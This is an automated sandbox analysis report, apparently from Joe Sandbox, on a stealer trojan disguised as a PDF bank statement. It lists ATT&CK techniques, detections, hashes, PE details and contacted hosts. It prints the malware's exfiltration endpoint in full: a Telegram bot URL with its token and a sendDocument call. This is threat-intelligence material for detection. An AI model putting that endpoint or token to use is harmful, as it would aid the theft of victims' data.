Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 Software Packing	NTDS	111 Security Software Discovery	Distributed Component Object Model	21 Input Capture	3 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Process Discovery	SSH	1 Clipboard Data	14 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 Masquerading	Cached Domain Credentials	141 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	141 Virtualization/Sandbox Evasion	DCSync	1 Application Window Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	1 Access Token Manipulation	Proc Filesystem	1 System Network Configuration Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	311 Process Injection	/etc/passwd and /etc/shadow	Network Sniffing	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
hesaphareketi-01.pdf.exe	34%	ReversingLabs	Win64.Trojan.GenSteal
hesaphareketi-01.pdf.exe	39%	Virustotal		Browse

Source	Detection	Scanner	Label
https://api.ipify.org/	0%	URL Reputation	safe
https://api.ipify.org	0%	URL Reputation	safe
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/denyonlysid	0%	URL Reputation	safe
https://account.dyn.com/	0%	URL Reputation	safe
https://aka.ms/dotnet-warnings/	0%	URL Reputation	safe
https://api.telegram	0%	URL Reputation	safe
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	0%	URL Reputation	safe
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/denyonlysidY	0%	Avira URL Cloud	safe
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/denyonlysidX	0%	Avira URL Cloud	safe
https://api.telegram.org/bot7043330881:AAFq19dRSS-89_wbwEvbuucof5Z3tCHG2NY/sendDocument	0%	Avira URL Cloud	safe
https://api.telegram.org	0%	Avira URL Cloud	safe
https://api.telegram.org/bot7043330881:AAFq19dRSS-89_wbwEvbuucof5Z3tCHG2NY/	0%	Avira URL Cloud	safe
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/nameX	0%	Avira URL Cloud	safe
https://api.telegram.orgx	0%	Avira URL Cloud	safe
http://api.telegram.org	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
api.ipify.org	104.26.13.205	true	false		unknown
api.telegram.org	149.154.167.220	true	true		unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://api.ipify.org/	false	URL Reputation: safe	unknown
https://api.telegram.org/bot7043330881:AAFq19dRSS-89_wbwEvbuucof5Z3tCHG2NY/sendDocument	true	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/denyonlysidX	hesaphareketi-01.pdf.exe, 00000000.00000002.1223452020.00007FF7342FD000.00000004.00000001.01000000.00000003.sdmp	false	Avira URL Cloud: safe	unknown
https://api.telegram.org/bot7043330881:AAFq19dRSS-89_wbwEvbuucof5Z3tCHG2NY/	hesaphareketi-01.pdf.exe, 00000000.00000002.1218633530.000002368203A000.00000004.00001000.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3672129866.0000000000402000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3677180762.0000000002851000.00000004.00000800.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
https://api.ipify.org	hesaphareketi-01.pdf.exe, 00000000.00000002.1218633530.000002368203A000.00000004.00001000.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3672129866.0000000000402000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3677180762.0000000002851000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/denyonlysidY	hesaphareketi-01.pdf.exe	false	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/denyonlysid	hesaphareketi-01.pdf.exe	false	URL Reputation: safe	unknown
https://account.dyn.com/	hesaphareketi-01.pdf.exe, 00000000.00000002.1218633530.000002368203A000.00000004.00001000.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3672129866.0000000000402000.00000040.00000400.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://aka.ms/dotnet-warnings/	hesaphareketi-01.pdf.exe	false	URL Reputation: safe	unknown
https://api.telegram.org	RegAsm.exe, 00000003.00000002.3677180762.00000000029D5000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3677180762.00000000028D8000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3677180762.0000000002981000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3677180762.0000000002B3C000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3677180762.0000000002A80000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3677180762.0000000002A4E000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3677180762.0000000002ADE000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3677180762.000000000289A000.00000004.00000800.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
https://api.telegram.orgx	RegAsm.exe, 00000003.00000002.3677180762.0000000002B3C000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://api.telegram	RegAsm.exe, 00000003.00000002.3677180762.0000000002B3C000.00000004.00000800.00020000.00000000.sdmp	true	URL Reputation: safe	unknown
http://api.telegram.org	RegAsm.exe, 00000003.00000002.3677180762.0000000002B3C000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3677180762.0000000002A80000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3677180762.0000000002A4E000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3677180762.0000000002ADE000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	hesaphareketi-01.pdf.exe	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/nameX	hesaphareketi-01.pdf.exe, 00000000.00000002.1223452020.00007FF7342FD000.00000004.00000001.01000000.00000003.sdmp	false	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
149.154.167.220	api.telegram.org	United Kingdom		62041	TELEGRAMRU	true
104.26.13.205	api.ipify.org	United States		13335	CLOUDFLARENETUS	false

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1446992
Start date and time:	2024-05-24 07:40:31 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 8m 19s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	19
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	hesaphareketi-01.pdf.exe
Detection:	MAL
Classification:	mal100.troj.spyw.expl.evad.winEXE@4/0@2/2
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 69% Number of executed functions: 96 Number of non-executed functions: 53
Cookbook Comments:	Found application associated with file extension: .exe Override analysis time to 240000 for current running targets taking high CPU consumption

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, SgrmBroker.exe, MoUsoCoreWorker.exe, conhost.exe, backgroundTaskHost.exe, svchost.exe
Excluded domains from analysis (whitelisted): slscr.update.microsoft.com, ctldl.windowsupdate.com, time.windows.com, fe3cr.delivery.mp.microsoft.com
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtReadVirtualMemory calls found.

Simulations

Behavior and APIs

Time	Type	Description
01:41:25	API Interceptor	10662819x Sleep call for process: RegAsm.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
149.154.167.220	S28BW-420120416270,pdf.exe	Get hash	malicious	AgentTesla, DBatLoader, PureLog Stealer	Browse
	Dextron Group PO.exe	Get hash	malicious	AgentTesla, DBatLoader, PureLog Stealer	Browse
	Wgdebahewafthr.exe	Get hash	malicious	AgentTesla, DBatLoader, PureLog Stealer, zgRAT	Browse
	sipari#U015f_comfirmasyonu.exe	Get hash	malicious	AgentTesla	Browse
	Documents Of DHL -BL- AWB- 8976453410.exe	Get hash	malicious	AgentTesla	Browse
	COMMERCIAL INVOICE - BL - AWB 7032805642.exe	Get hash	malicious	AgentTesla	Browse
	Doc0781123608.exe	Get hash	malicious	AgentTesla, PureLog Stealer, XWorm	Browse
	ordinul de cotatie.exe	Get hash	malicious	AgentTesla	Browse
	SecuriteInfo.com.Trojan.PackedNET.2595.1466.2669.exe	Get hash	malicious	AsyncRAT, DcRat, StormKitty, VenomRAT	Browse
	RFQ-101432620247fl#U00e2#U00aexslx.exe	Get hash	malicious	AgentTesla	Browse
104.26.13.205	ReturnLegend.exe	Get hash	malicious	Stealit	Browse	api.ipify.org/?format=json
	SecuriteInfo.com.Trojan.DownLoaderNET.960.9931.28151.exe	Get hash	malicious	PureLog Stealer, Targeted Ransomware	Browse	api.ipify.org/
	Sky-Beta-Setup.exe	Get hash	malicious	Stealit	Browse	api.ipify.org/?format=json
	ArenaWarSetup.exe	Get hash	malicious	Stealit	Browse	api.ipify.org/?format=json
	Sky-Beta Setup 1.0.0.exe	Get hash	malicious	Unknown	Browse	api.ipify.org/?format=json
	E4sbo4F6Sz.exe	Get hash	malicious	Unknown	Browse	api.ipify.org/
	E4sbo4F6Sz.exe	Get hash	malicious	Unknown	Browse	api.ipify.org/
	SecuriteInfo.com.Win64.RATX-gen.31127.4101.exe	Get hash	malicious	PureLog Stealer, Targeted Ransomware	Browse	api.ipify.org/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
api.ipify.org	Payment For order details .exe	Get hash	malicious	AgentTesla, DBatLoader, PureLog Stealer, zgRAT	Browse	104.26.12.205
	SIEMENS #2427021-S06564.exe	Get hash	malicious	AgentTesla	Browse	104.26.12.205
	https://shop.ketochow.xyz/	Get hash	malicious	Unknown	Browse	104.26.12.205
	http://5fgfggfgfg4g4h4.blogspot.mk/	Get hash	malicious	Unknown	Browse	104.26.13.205
	https://lely-cake.oujwe.workers.dev/	Get hash	malicious	HTMLPhisher	Browse	104.26.12.205
	https://mantaairdrop-czw.pages.dev/	Get hash	malicious	Unknown	Browse	104.26.13.205
	https://greettive-ke-78374.pages.dev/help/contact/806883007383956	Get hash	malicious	Unknown	Browse	172.67.74.152
	044f.pdf.exe	Get hash	malicious	AgentTesla	Browse	104.26.12.205
	hesaphareketi-.exe	Get hash	malicious	AgentTesla	Browse	104.26.12.205
	Documents Of DHL -BL- AWB- 8976453410.exe	Get hash	malicious	AgentTesla	Browse	172.67.74.152
api.telegram.org	Dextron Group PO.exe	Get hash	malicious	AgentTesla, DBatLoader, PureLog Stealer	Browse	149.154.167.220
	Wgdebahewafthr.exe	Get hash	malicious	AgentTesla, DBatLoader, PureLog Stealer, zgRAT	Browse	149.154.167.220
	sipari#U015f_comfirmasyonu.exe	Get hash	malicious	AgentTesla	Browse	149.154.167.220
	Documents Of DHL -BL- AWB- 8976453410.exe	Get hash	malicious	AgentTesla	Browse	149.154.167.220
	COMMERCIAL INVOICE - BL - AWB 7032805642.exe	Get hash	malicious	AgentTesla	Browse	149.154.167.220
	Doc0781123608.exe	Get hash	malicious	AgentTesla, PureLog Stealer, XWorm	Browse	149.154.167.220
	ordinul de cotatie.exe	Get hash	malicious	AgentTesla	Browse	149.154.167.220
	SecuriteInfo.com.Trojan.PackedNET.2595.1466.2669.exe	Get hash	malicious	AsyncRAT, DcRat, StormKitty, VenomRAT	Browse	149.154.167.220
	RFQ-101432620247fl#U00e2#U00aexslx.exe	Get hash	malicious	AgentTesla	Browse	149.154.167.220

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
TELEGRAMRU	http://simxtrackredirecttszz.pages.dev/	Get hash	malicious	Unknown	Browse	149.154.167.99
	https://teiegam.org/	Get hash	malicious	Unknown	Browse	149.154.167.99
	S28BW-420120416270,pdf.exe	Get hash	malicious	AgentTesla, DBatLoader, PureLog Stealer	Browse	149.154.167.220
	Dextron Group PO.exe	Get hash	malicious	AgentTesla, DBatLoader, PureLog Stealer	Browse	149.154.167.220
	Wgdebahewafthr.exe	Get hash	malicious	AgentTesla, DBatLoader, PureLog Stealer, zgRAT	Browse	149.154.167.220
	sipari#U015f_comfirmasyonu.exe	Get hash	malicious	AgentTesla	Browse	149.154.167.220
	Documents Of DHL -BL- AWB- 8976453410.exe	Get hash	malicious	AgentTesla	Browse	149.154.167.220
	COMMERCIAL INVOICE - BL - AWB 7032805642.exe	Get hash	malicious	AgentTesla	Browse	149.154.167.220
	Doc0781123608.exe	Get hash	malicious	AgentTesla, PureLog Stealer, XWorm	Browse	149.154.167.220
	ordinul de cotatie.exe	Get hash	malicious	AgentTesla	Browse	149.154.167.220
CLOUDFLARENETUS	https://pub-a2527e0fc1774b399011ecd14755d452.r2.dev/0nlinedoc.html	Get hash	malicious	HTMLPhisher	Browse	104.18.3.35
	Payment For order details .exe	Get hash	malicious	AgentTesla, DBatLoader, PureLog Stealer, zgRAT	Browse	104.26.12.205
	Offer Document 23.lnk	Get hash	malicious	FormBook	Browse	23.227.38.74
	Items.xls	Get hash	malicious	Unknown	Browse	104.21.47.128
	SIEMENS #2427021-S06564.exe	Get hash	malicious	AgentTesla	Browse	104.26.12.205
	seznam objedn#U00e1vek-405598204.pdf.exe	Get hash	malicious	Snake Keylogger	Browse	188.114.96.3
	Items.xls	Get hash	malicious	Unknown	Browse	172.67.171.37
	1d#U0422.exe	Get hash	malicious	Snake Keylogger	Browse	188.114.96.3
	Items.xls	Get hash	malicious	Unknown	Browse	188.114.97.3
	ArOuryf0GL.rtf	Get hash	malicious	AgentTesla	Browse	104.17.64.14

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
3b5074b1b5d032e5620f69f9f700ff0e	Payment For order details .exe	Get hash	malicious	AgentTesla, DBatLoader, PureLog Stealer, zgRAT	Browse	149.154.167.220 104.26.13.205
	SIEMENS #2427021-S06564.exe	Get hash	malicious	AgentTesla	Browse	149.154.167.220 104.26.13.205
	seznam objedn#U00e1vek-405598204.pdf.exe	Get hash	malicious	Snake Keylogger	Browse	149.154.167.220 104.26.13.205
	1d#U0422.exe	Get hash	malicious	Snake Keylogger	Browse	149.154.167.220 104.26.13.205
	SecuriteInfo.com.W32.ABRisk.VTZE-2830.26480.4550.exe	Get hash	malicious	Unknown	Browse	149.154.167.220 104.26.13.205
	SecuriteInfo.com.W32.ABRisk.VTZE-2830.26480.4550.exe	Get hash	malicious	Unknown	Browse	149.154.167.220 104.26.13.205
	Updater.lnk	Get hash	malicious	Unknown	Browse	149.154.167.220 104.26.13.205
	UNIDAD JUDICIAL PENAL ACTIVA A SU NOMBRE ACTA PERSONAL USTED HA SIDO NOTIFICADO.exe	Get hash	malicious	Unknown	Browse	149.154.167.220 104.26.13.205
	UNIDAD JUDICIAL PENAL ACTIVA A SU NOMBRE ACTA PERSONAL USTED HA SIDO NOTIFICADO.exe	Get hash	malicious	Unknown	Browse	149.154.167.220 104.26.13.205
	https://qrco.de/n8mxa4i5VHuJk4PMwkLpvyNqgwLBQ0Sb/?zwphvtjquqnl/pub/cc?_ri_=X0Gzc2X%3DAQpglLjHJlYQGXHi3ygqqrREEgoSeza8UICjjze1whbSsXnwpzgE8gG5CszbXAjhO3FqKUWVXtpKX%3DUYRTAADY&_ei_=EM6hiIRZ6IbTRQzpp7EgfWDv5wmb7wtZr_HKt4Y9565l73Y_PqZSaCEhvHs0mzNqB-gBgO3tuO3UzGxLd8-XUq76ZMc933xI6KE-OcN9i_7_vZ1nKFQzNpaL4RiL4mq9EVgUJPIQMWCvlw3G0w1CjXYcIG-BSVUdKxTJ-nET9bFyCwB2_dByO9r2C-jKzARF7AriZjx_pk4nCrXsqa5CQmpAUkWEc-dfHJ9wX73GWCpfF57_v_ES7Af2szUwfyD1crCX8fOSqjBUZSUnMozbxe4aYYiNhDFxL-2jMKdpABJE3vtt_geGts7n8Xf4EYbq7j3d_IMY4o8Q72577S1E3LPhYqvKvmKbTUvvnIMLzsO6OHpvMQd9_ppOuzIIivn9ZEfO3rb9O9j_duNb3MRYEYBN-0s24zFn151NBJlyD6Gq-MjdBvSKqeeKbw5Wfsj_VyMcrEbHNU3N-Fwk31llQYD9Y_KwimheCdKUAFPtoMQQev1yIcv8hHULCmqh0T1-CEH0F10XlSOydOFp_GyqRNIoG2OjudzyH2-uSleZsarzjYlowPA825PtI7w6EzQlva8d5pko8MVh5GhEP_jIa45zP_XmcMGT6AurPE-K2-xcw0R3fJdeI2HLvwr04_2EB8cEsQvXASU8ndzsHdI_YoX-pNX-DGKMx-6o7E8ijo1A4IQu6extYnY-yNU8Vt-z9xT3l2_ybVcDcwUj0ZQbN2JWPhpiuk8AtxJGzNnIrb4fD-PiJQXEveDyN7N9WsWB0Lg4So4GVp3wT2J2c8BxTsaHBlF99Acrgm9dCZjD_F51LbRK0LCxQjX-tsn4QuELhVAmkIDb_mIoHBFMG6pvRiLCwd_1KWrY31qzwPtEFzqzLUjtacn_BU8V3jK4bE2aqaNyrQaB0oaSFT5kgpAzuJ_iH7j8LpQz0TQLZ4tmiAQeKYiG_FGPh3KXElLE7DkhVTs0Oi8Q6tLs6smyQq4eF3hLlTnnZgSTePsTLxmDzrSw-KGeDyW2LkOZ4kbkxvCGN6seSt91qJ5eDDYhrv3-FjtktxugKzF7yfbej64mQyq1x75cGd6er7nAEMPG28MGLOx9idu5hHS8xpH3XiKhrSQQ3YC3jWQ8qY-EF-Q0TcdwfOj9V-oeOy0KZ-xAMn4XoAuVsYtm7dInk0l0GcUOHwbLnVpy8vKxcHhomXAYRvCzxOe9DPAf3WyCg16exynSJ7tVWJIJA2HKvQ30Pkd9jo8ww7nT6bHa-kCAU5sP0R60XwbaOD1Va5lezql219BRJKOoQC3Ce2b6YAtmFxpVQCXmavy8ISfNPYLP7iYDoR3ywadCKdxWiaVT52gr.&_di_=auf9n3qge530sjoc9a8mlfu4dl79cq7siqsd7tr5omthg3894hpg	Get hash	malicious	Unknown	Browse	149.154.167.220 104.26.13.205

File type:	PE32+ executable (console) x86-64, for MS Windows
Entropy (8bit):	7.009149672773074
TrID:	Win64 Executable Console (202006/5) 92.65% Win64 Executable (generic) (12005/4) 5.51% Generic Win/DOS Executable (2004/3) 0.92% DOS Executable Generic (2002/1) 0.92% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	hesaphareketi-01.pdf.exe
File size:	2'066'432 bytes
MD5:	8f184daf4d3d0fac93db93c798e616ed
SHA1:	f8c6c99b7e0572347ed1bee3ddb425e31f6cb643
SHA256:	97fa9df0ae7536db7c2427ff65ba51db3bbd22ebe957bf406ebe3f4ba4a46f7f
SHA512:	652d87c3ce83e960f3aa0edc2b16d8003b8b8a52d6025afb2818303b2d92ea4d123f3269249b751dff3d421ba46f9460d0d3c48be826808bfe4eaae9be21cd3e
SSDEEP:	24576:8ynjN3fi9dEoZR814OEQjls30eTFxmT4i8eMOq52AOXuq01dKqOFFSyF8FaE:9jN3CdJ81nEQhs30eouqsrOFXOaE
TLSH:	52A5B005A3F801E4E46BC634CA599733D3B1B41A1730E58B0A5AD7922F73EE15BBF612
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........6c.IW._IW._IW._O..^EW._O..^XW._O..^gW._@/._GW._./.^BW._IW._IV._.+.^BW._.+.^.W._IW._KW._#..^HW._#.._HW._#..^HW._RichIW._.......

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0x140068d5c
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x140000000
Subsystem:	windows cui
Image File Characteristics:	EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE
DLL Characteristics:	HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE
Time Stamp:	0x664E7376 [Wed May 22 22:36:38 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	79856d4b034c49dc3dd3e403b25b6bbf

Entrypoint Preview

Instruction
dec eax
sub esp, 28h
call 00007FE618D6D65Ch
dec eax
add esp, 28h
jmp 00007FE618D6CF57h
int3
int3
inc eax
push ebx
dec eax
sub esp, 20h
dec eax
mov ebx, ecx
jmp 00007FE618D6D0F1h
dec eax
mov ecx, ebx
call 00007FE618D75795h
test eax, eax
je 00007FE618D6D0F5h
dec eax
mov ecx, ebx
call 00007FE618D6CE07h
dec eax
test eax, eax
je 00007FE618D6D0C9h
dec eax
add esp, 20h
pop ebx
ret
dec eax
cmp ebx, FFFFFFFFh
je 00007FE618D6D0E8h
call 00007FE618D6DAECh
int3
call 00007FE618D6DB06h
int3
jmp 00007FE618D6DB34h
int3
int3
int3
jmp 00007FE618D6D19Ch
int3
int3
int3
dec eax
sub esp, 28h
dec ebp
mov eax, dword ptr [ecx+38h]
dec eax
mov ecx, edx
dec ecx
mov edx, ecx
call 00007FE618D6D0F2h
mov eax, 00000001h
dec eax
add esp, 28h
ret
int3
int3
int3
inc eax
push ebx
inc ebp
mov ebx, dword ptr [eax]
dec eax
mov ebx, edx
inc ecx
and ebx, FFFFFFF8h
dec esp
mov ecx, ecx
inc ecx
test byte ptr [eax], 00000004h
dec esp
mov edx, ecx
je 00007FE618D6D0F5h
inc ecx
mov eax, dword ptr [eax+08h]
dec ebp
arpl word ptr [eax+04h], dx
neg eax
dec esp
add edx, ecx
dec eax
arpl ax, cx
dec esp
and edx, ecx
dec ecx
arpl bx, ax
dec edx
mov edx, dword ptr [eax+edx]
dec eax
mov eax, dword ptr [ebx+10h]
mov ecx, dword ptr [eax+08h]
dec eax
mov eax, dword ptr [ebx+08h]
test byte ptr [ecx+eax+03h], 0000000Fh
je 00007FE618D6D0EDh
movzx eax, byte ptr [ecx+eax+00h]

Rich Headers

Programming Language:

[IMP] VS2008 SP1 build 30729

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x1f79a0	0x58	.rdata
IMAGE_DIRECTORY_ENTRY_IMPORT	0x1f79f8	0xf0	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x21d000	0x3b150	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x208000	0x1314c	.pdata
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x259000	0x634	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x1ca370	0x1c	.rdata
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x1ca500	0x28	.rdata
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x1ca230	0x140	.rdata
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x17d000	0x778	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x71a88	0x71c00	5cdd54da137ec06542526019b1031732	False	0.4528288118131868	data	6.6410813091638	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.managed	0x73000	0xb9168	0xb9200	2d30634d2eb96982ab12a2d431b95020	False	0.4601620526671168	data	6.463570386679756	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
hydrated	0x12d000	0x4f808	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_CNT_UNINITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rdata	0x17d000	0x7c4de	0x7c600	f3ba60da94e9809a9aa5de6dd815cada	False	0.469921875	data	6.575390299832166	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x1fa000	0xdc90	0x2200	5c15d417ed4d359d82911c50efdabf9a	False	0.23793658088235295	data	3.6721787513471362	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.pdata	0x208000	0x1314c	0x13200	8cc774a948808419be7ca4f4b39fb78d	False	0.4887280433006536	data	6.17164551981099	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
_RDATA	0x21c000	0x1f4	0x200	cfc28b4453f40f4f91f4a52e36529a97	False	0.5078125	data	4.172727899540164	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.rsrc	0x21d000	0x3b150	0x3b200	bbfbc02d9cc634be31885274c1e9d08c	False	0.9963167283298098	data	7.997686186749214	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x259000	0x634	0x800	8b35b44373572aa9287a6c541ff3e534	False	0.48681640625	data	4.726579003687373	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	ZLIB Complexity
BINARY	0x21d12c	0x3aa84	data	1.000337134770665
RT_VERSION	0x257bb0	0x3b4	data	0.35337552742616035
RT_MANIFEST	0x257f64	0x1ea	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators	0.5489795918367347

Imports

DLL	Import
ADVAPI32.dll	RegCloseKey, RegEnumKeyExW, RegEnumValueW, RegOpenKeyExW, RegQueryValueExW, RegSetValueExW, OpenProcessToken, LookupPrivilegeValueW, AdjustTokenPrivileges, RegSetValueExA, GetTokenInformation, DuplicateTokenEx, OpenThreadToken, RevertToSelf, ImpersonateLoggedOnUser, CheckTokenMembership, EventWrite, EventRegister, EventEnabled
bcrypt.dll	BCryptGenRandom, BCryptEncrypt, BCryptDecrypt, BCryptImportKey, BCryptOpenAlgorithmProvider, BCryptSetProperty, BCryptCloseAlgorithmProvider, BCryptDestroyKey
KERNEL32.dll	TlsFree, TlsSetValue, TlsGetValue, TlsAlloc, InitializeCriticalSectionAndSpinCount, EncodePointer, RaiseException, RtlPcToFileHeader, CloseThreadpoolIo, GetStdHandle, TzSpecificLocalTimeToSystemTime, SystemTimeToFileTime, FileTimeToSystemTime, GetSystemTime, GetCalendarInfoEx, CompareStringOrdinal, CompareStringEx, FindNLSStringEx, GetLocaleInfoEx, ResolveLocaleName, GetUserPreferredUILanguages, FindStringOrdinal, GetTickCount64, GetCurrentProcess, GetCurrentThread, Sleep, InitializeCriticalSection, InitializeConditionVariable, DeleteCriticalSection, LocalFree, EnterCriticalSection, SleepConditionVariableCS, LeaveCriticalSection, WakeConditionVariable, QueryPerformanceCounter, WaitForMultipleObjectsEx, GetLastError, QueryPerformanceFrequency, SetLastError, GetFullPathNameW, GetLongPathNameW, MultiByteToWideChar, WideCharToMultiByte, LocalAlloc, GetConsoleOutputCP, GetProcAddress, RaiseFailFastException, CreateThreadpoolIo, StartThreadpoolIo, CancelThreadpoolIo, LocaleNameToLCID, LCMapStringEx, EnumTimeFormatsEx, EnumCalendarInfoExEx, CopyFileExW, CreateFileW, DeleteFileW, DeviceIoControl, ExpandEnvironmentStringsW, FindClose, FindFirstFileExW, FlushFileBuffers, FreeLibrary, GetFileAttributesExW, 